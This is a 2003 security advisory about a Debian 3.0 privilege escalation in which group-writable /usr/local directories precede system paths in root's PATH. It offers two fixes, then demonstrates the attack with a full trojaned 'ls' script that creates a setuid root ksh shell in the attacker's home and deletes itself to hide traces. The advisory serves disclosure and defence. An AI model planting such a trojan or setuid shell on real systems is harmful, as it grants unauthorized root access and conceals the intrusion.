Original release date: December 6, 2003
Last revised: December 06, 2003
A complete revision history is at the end of this file.
Systems Affected
Debian 3.0 with group ‘staff’ ownership of /usr/local/* and the default path setting in /root/.profile
Severity
Low/Medium (Requires access to a local ‘staff’ account)
Overview
The default path setting for Debian 3.0 sets priority to /usr/local before its /usr counterpart. Combined with the loose access controls on /usr/local, this could lead to a privilege escalation attack that might yield root access to an attacker.
I. Description
Debian sets the default path for root to the following:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
When searching for an executable, the directories in the path are examined in the order listed, giving priority to files in /usr/local/sbin over /usr/sbin or /sbin. /usr/local/* is often set to precede /usr/* so that newly installed packages (which are traditionally installed in /usr/local) will be used in place of older system software which has not yet been manually removed.
Debian also sets group ownership and permissions differently by default for these directories:
shiva:/# ls -ld /sbin /usr/sbin/ /usr/local/sbin/
drwxr-xr-x 2 root root 3072 Nov 29 14:07 /sbin
drwxrwsr-x 2 root staff 4096 Nov 9 02:09 /usr/local/sbin/
drwxr-xr-x 2 root root 4096 Nov 29 14:07 /usr/sbin/
Unlike /usr/sbin and /sbin, /usr/local/sbin is writeable by members of the group ‘staff’. The purpose of this permission setting is to allow authorized persons other than root to install and modify software on the system without bothering the administrator. Unfortunately this also creates the risk of privilege escalation if one of the staff accounts has been compromised or is in use by an untrustworthy person.
It should be noted that in November, four Debian servers were compromised via a privilege escalation attack on the linux kernel, after a local account was compromised through a sniffed password.
II. Impact
An attacker with a local account in group ‘staff’ may be able to gain root access.
III. Solution
A. Ownership
The ownership of directories in the /usr/local tree can be made more restrictive. For example, RedHat 7.3 also specifies /usr/local to precede other directories in the path, but by default /usr/local/bin is writeable only by root. If a user is not trusted with the root account, they should not be able to place executables into the path.
If your system does not require ‘staff’ group members to have write access to /usr/local/* this is the recommended solution.
B. Paths
Another answer is to change the order of the directories in the path setting in /root/.profile and /etc/profile. Here’s an example:
/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin
IV. Demonstration
A. Default Paths
Malicious user with staff privileges creates a script to grab root privs :
hax0r@shiva:/$ id
uid=1001(hax0r) gid=50(staff) groups=50(staff)
hax0r@shiva:/$ cd /usr/local/bin/
hax0r@shiva:/usr/local/bin$ ls
hax0r@shiva:/usr/local/bin$ cat > ls
#!/bin/sh
if [ `id -u ` -eq ‘0’ ]
then
# ksh was chosen because on the Debian system used for testing,
# bash would not run with suid privs and csh refused to run at
# all if setuid
cp /bin/ksh /home/hax0r;
chmod 6777 /home/hax0r/ksh;
/bin/ls $*;
# crude way of covering our tracks, this
# would actually give some clues to the
# admin, and a smart attacker would use
# something more sophisticated.
rm /usr/local/bin/ls;
exit;
else
/bin/ls $*;
exit;
fi
hax0r@shiva:/usr/local/bin$ chmod +x ls
hax0r@shiva:/usr/local/bin$ ls -l ls
-rwxr-xr-x 1 hax0r staff 487 Dec 6 16:23 ls
hax0r@shiva:/usr/local/bin$
Now root logs in and runs the trojaned copy of ls:
shiva:~# id
uid=0(root) gid=0(root) groups=0(root)
shiva:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
shiva:~# which ls
/usr/local/bin/ls
shiva:~# ls -lF /usr/local/bin/ls
-rwxr-xr-x 1 hax0r staff 487 Dec 6 16:23 /usr/local/bin/ls*
shiva:~# which ls
/bin/ls
shiva:~#
And finally the malicious user logs in again and gains root access through the suid shell:
hax0r@shiva:~$ ls -l ksh
-rwsrwsrwx 1 root root 164856 Dec 6 17:09 ksh
hax0r@shiva:~$ ./ksh
# whoami
root
#
B. Suggested Path Changes (Solution B)
With the alternative suggested solution, even if the attacker were to create the trojaned copy of ls, root would continue to use the system copy.
shiva:~# id
uid=0(root) gid=0(root) groups=0(root)
shiva:~# echo $PATH
/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin
shiva:~# which ls
/bin/ls
shiva:~# ls -lF /usr/local/bin/ls
-rwxr-xr-x 1 hax0r staff 487 Dec 6 17:24 /usr/local/bin/ls*
shiva:~#
BhodiSoft Contact Information
Email:
Getting security information
BhodiSoft publications and other security information are available from our web sitehttps://www.bhodisoft.com/
Copyright 2003 Blake R. Swopes.
Revision History
December 06, 2003: Initial Release
One thought on “BA-2003-01 Debian: Unsafe directory ownership, default paths may lead to privilege escalation”